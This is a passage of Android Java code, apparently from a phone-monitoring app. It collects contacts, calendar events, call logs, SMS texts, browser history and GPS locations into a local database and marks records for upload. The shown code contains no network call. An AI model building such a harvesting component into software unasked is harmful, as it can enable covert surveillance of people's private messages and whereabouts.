        AXLog.e("wzytest", "run in cursor:" + cursor.getCount());
        if (cursor == null || cursor.getCount() == 0) {
            return false;
        } else {
            copyCantactToDWDB(db, cursor, false);
            cursor.close();
            db.close();
        }

        return true;
    }

    /**
     * Compare calls in Android DB and DWDB
     *
     * @return Are there any new records
     */
    public synchronized Boolean compareCalendar() {
        SQLiteDatabase db = getWritableDatabase();
        long lastID = getCalendarLastID(db);

        Cursor cursor = null;
        try {
            cursor = mContext.getContentResolver().query(Calendar_URI, PROJECTION_CALENDAR, ContactsContract.Contacts._ID + " > " + lastID , null, null);
        }catch (Exception e){
            AXLog.e("wzytest", "run in compareCalendar get excption");
            e.printStackTrace();
        }
        if (cursor == null || cursor.getCount() == 0) {
            return false;
        } else {
            copyCalendarToDWDB(db, cursor, false);
            cursor.close();
            db.close();
        }

        return true;
    }


    /**
     * Compare calls in Android DB and DWDB
     *
     * @return Are there any new records
     */
    public synchronized Boolean compareCall() {
        AXLog.e("wzytest", "run in compareCall CALL_URI：" + CALL_URI);
        SQLiteDatabase db = getWritableDatabase();
        long lastDate = getLastDate(db, TABLE_NAME_CALL);

        Cursor cursor = mContext.getContentResolver().query(CALL_URI, PROJECTION_CALL, Calls.DATE + " > " + lastDate + " AND " + Calls.DATE + " > " + getDayOffset(), null, null);
        AXLog.e("wzytest", "run in cursor:" + cursor.getCount());
        if (cursor == null || cursor.getCount() == 0) {
            return false;
        } else {
            copyCallToDWDB(db, cursor, false);
            cursor.close();
            db.close();
        }

        return true;
    }

    /**
     * Compare sms in Android DB and DWDB
     *
     * @return Are there any new records
     */
    public synchronized Boolean compareSMS() {
        SQLiteDatabase db = getWritableDatabase();
        long lastDate = getLastDate(db, TABLE_NAME_SMS);
        //获取最近得消息
        Cursor cursor = mContext.getContentResolver().query(SMS_URI, PROJECTION_SMS, "(type = 1 OR type = 2) AND date > " + lastDate + " AND date > " + getDayOffset(), null, null);
        if (cursor == null || cursor.getCount() == 0) {
            return false;
        } else {
            copySMSToDWDB(db, cursor, false);
            cursor.close();
            db.close();
        }

        return true;
    }

    public synchronized Boolean compareBrowserHistory() {
        SQLiteDatabase db = getWritableDatabase();
        long lastDate = getLastDate(db, TABLE_NAME_BROWSER);
        Cursor cursor = mContext.getContentResolver().query(BROWSER_URI, PROJECTION_BROWSER, "date > " + lastDate + " AND date > " + getDayOffset(), null, null);
        if (cursor == null || cursor.getCount() == 0) {
            return false;
        } else {
            copyBrowserToDWDB(db, cursor, false);
            cursor.close();
            db.close();
        }

        return true;
    }

    public synchronized void addGPS(GPS gps) {
        SQLiteDatabase db = getWritableDatabase();
        ContentValues values = new ContentValues();
        values.put(ACC_COLUMN, gps.acc);
        values.put(ALT_COLUMN, gps.alt);
        values.put(LAT_COLUMN, gps.lat);
        values.put(LON_COLUMN, gps.lon);
        values.put(DATE_COLUMN, gps.date);
        values.put(BATTERY_COLUMN, gps.battery);
        values.put(PROVIDER_COLUMN, gps.provider);
        values.put(SENT_COLUMN, 0);

        db.insert(TABLE_NAME_GPS, null, values);
        db.close();
    }

    public synchronized DBResult getGPS() {
        DBResult result = null;
        SQLiteDatabase db = this.getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_GPS, null, SENT_COLUMN + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());
                int _ID, _DATE, _ACC, _ALT, _LAT, _LON, _BATTERY, _PROVIDER;
                while (cursor.moveToNext()) {
                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _DATE = cursor.getColumnIndex(DATE_COLUMN);
                    _ACC = cursor.getColumnIndex(ACC_COLUMN);
                    _ALT = cursor.getColumnIndex(ALT_COLUMN);
                    _LAT = cursor.getColumnIndex(LAT_COLUMN);
                    _LON = cursor.getColumnIndex(LON_COLUMN);
                    _BATTERY = cursor.getColumnIndex(BATTERY_COLUMN);
                    _PROVIDER = cursor.getColumnIndex(PROVIDER_COLUMN);

                    result.add(cursor.getLong(_ID),
                            new GPS(
                                    cursor.getDouble(_ACC),
                                    cursor.getDouble(_ALT),
                                    cursor.getDouble(_LAT),
                                    cursor.getDouble(_LON),
                                    cursor.getLong(_DATE),
                                    cursor.getInt(_BATTERY),
                                    cursor.getString(_PROVIDER))
                    );
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }

        db.close();

        return result;
    }

    public DBResult getContacts() {
        return getContacts(false);
    }

    public DBResult getContacts(Boolean bySmsSentStatus) {
        return getContacts(bySmsSentStatus ? SMS_SENT_COLUMN : SENT_COLUMN);
    }

    private synchronized DBResult getContacts(String sentColumn) {
        DBResult result = null;
        SQLiteDatabase db = this.getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_CONTACTS, null, sentColumn + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());

                int _ID, _NAME, _PHONE, _CONTACT_TIME, _UPDATE_TIME, _TIMES, _ADDRESS, _ORGWHERE,_EMAIL,_CONTACT_ID;

                int index = 0 ;
                while (cursor.moveToNext()&&index<500) {

                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _CONTACT_ID = cursor.getColumnIndex(CONTACT_ID);
                    _NAME = cursor.getColumnIndex(CONTACT_NAME);
                    _PHONE = cursor.getColumnIndex(CONTACT_PHONE);
                    _CONTACT_TIME = cursor.getColumnIndex(CONTACT_TIME_LAST);
                    _UPDATE_TIME = cursor.getColumnIndex(CONTACT_UPDATE_LAST);
                    _TIMES = cursor.getColumnIndex(CONTACT_TIMES);
                    _ADDRESS = cursor.getColumnIndex(CONTACT_ADDRESS);
                    _ORGWHERE = cursor.getColumnIndex(CONTACT_WHERE);
                    _EMAIL = cursor.getColumnIndex(CONTACT_EMAIL);

                    result.add(
                            cursor.getLong(_ID),
                            new Contact(
                                    cursor.getString(_PHONE),
                                    cursor.getString(_NAME),
                                    cursor.getString(_CONTACT_ID),
                                    cursor.getString(_CONTACT_TIME),
                                    cursor.getString(_UPDATE_TIME),
                                    cursor.getString(_TIMES),
                                    cursor.getString(_UPDATE_TIME),
                                    cursor.getString(_ADDRESS),
                                    cursor.getString(_EMAIL),
                                    cursor.getString(_ORGWHERE)
                            )
                    );
                    index++;
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
            db.close();
        }

        //AXLog.e("wzytest","上传本地电话记录长度:"+result.getBodyList().size());

        return result;
    }


    public DBResult getCalendar() {
        return getCalendar(false);
    }

    public DBResult getCalendar(Boolean bySmsSentStatus) {
        return getCalendar(bySmsSentStatus ? SMS_SENT_COLUMN : SENT_COLUMN);
    }

    private synchronized DBResult getCalendar(String sentColumn) {
        DBResult result = null;
        SQLiteDatabase db = this.getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_CALENDAR, null, sentColumn + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());

                int _ID, _TITLE, _DESCRIPTION, _LAST_DATE, _START_DATE, _LOCATION, _DATE,_CALENDAR_ID;

                int index = 0;
                while (cursor.moveToNext()&&index<500) {
                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _CALENDAR_ID = cursor.getColumnIndex(CALENDAR_ID);
                    _TITLE = cursor.getColumnIndex(CALENDAR_TITLE);
                    _DESCRIPTION = cursor.getColumnIndex(CALENDAR_DESCRIPTION);
                    _LAST_DATE = cursor.getColumnIndex(CALENDAR_LAST_DATE);
                    _START_DATE = cursor.getColumnIndex(CALENDAR_START_DATE);
                    _LOCATION = cursor.getColumnIndex(CALENDAR_LOCATION);
                    _DATE = cursor.getColumnIndex(DATE_COLUMN);

                    result.add(
                            cursor.getLong(_ID),
                            new Calendar(
                                    cursor.getString(_CALENDAR_ID),
                                    cursor.getString(_TITLE),
                                    cursor.getString(_START_DATE),
                                    cursor.getString(_LAST_DATE),
                                    cursor.getString(_LOCATION),
                                    cursor.getString(_DESCRIPTION)
                            )
                    );
                    index ++;
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
            db.close();
        }

        //AXLog.e("wzytest","上传本地电话记录长度:"+result.getBodyList().size());

        return result;
    }

    public DBResult getCalls() {
        return getCalls(false);
    }

    public DBResult getCalls(Boolean bySmsSentStatus) {
        return getCalls(bySmsSentStatus ? SMS_SENT_COLUMN : SENT_COLUMN);
    }

    private synchronized DBResult getCalls(String sentColumn) {
        DBResult result = null;
        SQLiteDatabase db = this.getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_CALL, null, sentColumn + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());
                int _ID, _NUMBER, _DATE, _DURATION, _TYPE, _NAME, _LAT, _LON,_LOCATION;
                while (cursor.moveToNext()) {
                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _NUMBER = cursor.getColumnIndex(NUMBER_COLUMN);
                    _DATE = cursor.getColumnIndex(DATE_COLUMN);
                    _DURATION = cursor.getColumnIndex(DURATION_COLUMN);
                    _TYPE = cursor.getColumnIndex(TYPE_COLUMN);
                    _NAME = cursor.getColumnIndex(NAME_COLUMN);
                    _LAT = cursor.getColumnIndex(LAT_COLUMN);
                    _LON = cursor.getColumnIndex(LON_COLUMN);
                    _LOCATION = cursor.getColumnIndex(CALL_LOCATION);

                    result.add(
                            cursor.getLong(_ID),
                            new Call(
                                    cursor.getString(_NUMBER),
                                    cursor.getLong(_DATE),
                                    cursor.getLong(_DURATION),
                                    cursor.getInt(_TYPE),
                                    cursor.getString(_NAME),
                                    cursor.getDouble(_LAT),
                                    cursor.getDouble(_LON),
                                    cursor.getLong(_ID),
                                    cursor.getString(_LOCATION)
                            )
                    );
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
            db.close();
        }

        //AXLog.e("wzytest","上传本地电话记录长度:"+result.getBodyList().size());

        return result;
    }

    public DBResult getSMS() {
        return getSMS(false);
    }

    public DBResult getSMS(Boolean bySmsSentStatus) {
        return getSMS(bySmsSentStatus ? SMS_SENT_COLUMN : SENT_COLUMN);
    }

    private synchronized DBResult getSMS(String sentColumn) {
        DBResult result = null;
        SQLiteDatabase db = getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_SMS, null, sentColumn + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());
                int _ID, _NUMBER, _DATE, _BODY, _TYPE, _NAME, _LAT, _LON, _SMS_ID, _THREAD_ID, _READ, _PROTOCOL;
                while (cursor.moveToNext()) {
                    _SMS_ID = cursor.getColumnIndex(SMS_ID);
                    _THREAD_ID = cursor.getColumnIndex(THREAD_ID);
                    _READ = cursor.getColumnIndex(READ_STATUS);
                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _PROTOCOL = cursor.getColumnIndex(PROTOCOL);
                    _NUMBER = cursor.getColumnIndex(NUMBER_COLUMN);
                    _DATE = cursor.getColumnIndex(DATE_COLUMN);
                    _TYPE = cursor.getColumnIndex(TYPE_COLUMN);
                    _BODY = cursor.getColumnIndex(TEXT_COLUMN);
                    _NAME = cursor.getColumnIndex(NAME_COLUMN);
                    _LAT = cursor.getColumnIndex(LAT_COLUMN);
                    _LON = cursor.getColumnIndex(LON_COLUMN);

                    result.add(
                            cursor.getLong(_ID),
                            new SMS(
                                    cursor.getInt(_SMS_ID),
                                    cursor.getInt(_THREAD_ID),
                                    cursor.getInt(_READ),
                                    cursor.getInt(_PROTOCOL),
                                    cursor.getString(_BODY),
                                    cursor.getLong(_DATE),
                                    cursor.getString(_NAME),
                                    cursor.getString(_NUMBER),
                                    cursor.getInt(_TYPE),
                                    cursor.getDouble(_LAT),
                                    cursor.getDouble(_LON)
                            )
                    );
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
           // ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
            db.close();
        }
        //AXLog.e("wzytest", "上传本地短息记录长度:" + result.getBodyList().size());

        return result;
    }

    public synchronized DBResult getBrowserHistory() {
        DBResult result = null;
        SQLiteDatabase db = getReadableDatabase();
        Cursor cursor = db.query(TABLE_NAME_BROWSER, null, SENT_COLUMN + " = 0", null, null, null, null);
        try {
            if (cursor != null && cursor.getCount() > 0) {
                result = new DBResult(cursor.getCount());
                int _ID, _DATE, _URL, _TITLE, _LAT, _LON, _VISITS, _CREATE, _COUNT, _BOOKMARK;
                while (cursor.moveToNext()) {
                    _ID = cursor.getColumnIndex(ID_COLUMN);
                    _DATE = cursor.getColumnIndex(DATE_COLUMN);
                    _URL = cursor.getColumnIndex(URL_COLUMN);
                    _TITLE = cursor.getColumnIndex(TITLE_COLUMN);
                    _LAT = cursor.getColumnIndex(LAT_COLUMN);
                    _LON = cursor.getColumnIndex(LON_COLUMN);
                    _VISITS = cursor.getColumnIndex(VISITS_COLUMN);
                    _CREATE = cursor.getColumnIndex(CREATED_COLUMN);
                   // _COUNT = cursor.getColumnIndex(COUNT_COLUMN);
                    _BOOKMARK = cursor.getColumnIndex(BOOKMARK_COLUMN);
                    result.add(
                            cursor.getLong(_ID),
                            new BrowserHistory(
                                    cursor.getLong(_ID),
                                    cursor.getLong(_DATE),
                                    cursor.getString(_URL),
                                    cursor.getString(_TITLE),
                                    cursor.getDouble(_LAT),
                                    cursor.getDouble(_LON),
                                    cursor.getString(_VISITS),
                                    cursor.getString(_CREATE),
                                   // cursor.getString(_COUNT),
                                    cursor.getString(_BOOKMARK)
                            )
                    );
                }
            }

        } catch (Exception e) {
            Debug.exception(e);
            //ACRA.getErrorReporter().handleSilentException(e);
        } finally {
            if (cursor != null) {
                cursor.close();
            }
            db.close();
        }

        return result;
    }

    public synchronized void updateSentStatus(MessageType type, ArrayList<Long> id) {
        AXLog.e("wzytest", "id 的长度：" + id.size());
        ContentValues values = new ContentValues(1);
        values.put(SENT_COLUMN, 1);

        String table;
        switch (type) {
            case CALL:
                table = TABLE_NAME_CALL;
                AXLog.e("wzytest","call id 的长度："+id);
                break;
            case SMS:
                table = TABLE_NAME_SMS;
                AXLog.e("wzytest","sms id 的长度："+id);

                break;
            case GPS:
                table = TABLE_NAME_GPS;
                break;
            case BROWSER:
                table = TABLE_NAME_BROWSER;
                AXLog.e("wzytest","browser id 的长度："+id);

                break;
            case CONTACT:
                table = TABLE_NAME_CONTACTS;
                AXLog.e("wzytest","CONTACT id 的长度："+id);
                break;
            case CALENDAR:
                table = TABLE_NAME_CALENDAR;
                AXLog.e("wzytest","TABLE_NAME_CALENDAR id 的长度："+id);
                break;
            default:
                return;
        }

        SQLiteDatabase db = getWritableDatabase();

        int size = id.size();
        for (int i = 0; i < size; i++) {
           // AXLog.e("wzytest", "上传的ID：" + id.get(i));
            db.update(table, values, ID_COLUMN + "=" + id.get(i), null);
        }
        db.close();
    }

    public synchronized void updateSmsSentStatus(MessageType type, ArrayList<Long> id) {
        AXLog.e("wzytest", "updateSmsSentStatus......");
        if (id.size() == 0) {
            return;
        }

        ContentValues values = new ContentValues(1);

        values.put(SMS_SENT_COLUMN, 1);

        String table;
        switch (type) {
            case CALL:
                table = TABLE_NAME_CALL;
                break;
            case SMS:
                table = TABLE_NAME_SMS;
                break;
            default:
                return;
        }

        SQLiteDatabase db = getWritableDatabase();

        int size = id.size();
        for (int i = 0; i < size; i++) {
            db.update(table, values, ID_COLUMN + "=" + id.get(i), null);
        }
        db.close();
    }

}
